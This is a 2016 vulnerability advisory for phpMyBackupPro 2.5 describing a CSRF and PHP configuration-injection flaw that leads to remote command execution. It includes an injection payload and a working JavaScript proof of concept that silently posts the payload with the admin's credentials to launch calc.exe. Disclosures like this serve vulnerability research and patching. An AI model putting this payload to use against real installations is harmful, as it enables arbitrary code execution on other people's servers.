phpMyBackupPro 2.5 CSRF / Remote Command Execution

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-RCE.txt  
  
  
  
Vendor:  
=============================  
www.phpmybackuppro.net  
  
project site:  
sourceforge.net/projects/phpmybackup/  
  
  
  
Product:  
===========================  
phpMyBackupPro v.2.5 (PMBP)  
  
phpMyBackup Pro is a very easy to use, free, web-based MySQL backup  
application, licensed under the GNU GPL.  
You can create scheduled backups, manage and restore them, download or  
email them and a lot more.  
  
  
  
Vulnerability Type:  
=========================  
Remote Command Execution / CSRF  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
phpMyBackupPro uses PHP configuration files (global_conf.php) to manage  
settings, allowing user to change things like sql host, language, email  
etc..  
However, a malicious local user can also inject persistent arbitrary PHP/OS  
commands into the configuration to be executed on the host system.  
The remote command execution can also be a result of a CSRF driveby by if  
currently logged admin visits an attackers webpage.  
  
Attackers can inject and write to disk arbitrary PHP code into the  
global_conf.php configuration file if a victim visits a malicious webpage  
or clicks an  
infected link via a CSRF vector or additionally from a local malicious user  
in shared host type environment.  
  
first we escape the single quotes etc... so we can close the expected  
entry, then we leverage the backtick "`" operator to have PHP execute OS  
commands  
on victims system as it works just as well without having to deal with all  
the quote escaping.  
  
e.g. payload that handles the single "'" quote an forward slashes "/"...  
  
''///\\');exec(`c:/\Windows/\system32/\calc.exe`); ///\';  
  
  
The above when injected will result in a write to $CONF variables in  
global_conf.php as follows...  
  
$CONF['lang']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);  
///\';');  
  
OR...  
  
$CONF['email']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);  
///\';');  
  
  
  
Exploit code(s):  
===============  
  
Send admin infected link or convince them to visit our malicious webpage,  
then if the user is logged in and...  
a) clicks our link or visits our evil webpage or  
b) submits the form locally (malicious user) then BOOOOOOOOOOOM!  
  
  
Exploit to run calc.exe on Windows  
  
<script>  
var c=0;  
(function RCE_MAYHEM(){  
c++  
var xhr=new XMLHttpRequest()  
xhr.open('POST','  
http://localhost/phpMyBackupPro-2.5/phpMyBackupPro-2.5/config.php',true)  
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
xhr.withCredentials = true;  
xhr.send("sitename=localhost&lang=''///\\');exec(`c:/\Windows/\system32/\calc.exe`);  
///\';&sql_host=localhost&sql_user=&sql_passwd=&sql_db=&ftp_server=  
hyp3rlinx.altervista.org  
&ftp_user=hyp3rlinx&ftp_passwd=&ftp_path=&ftp_pasv=1&ftp_port=666&ftp_del=1&email_use=1&email=&submit=Save+data")  
if(c<2){  
RCE_MAYHEM()  
}  
})()  
</script>  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: NR  
February 16, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
Description:  
=============================================================  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] phpMyBackupPro v.2.5 (PMBP)  
  
  
Vulnerable Parameter(s): [+] $CONF  
  
============================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`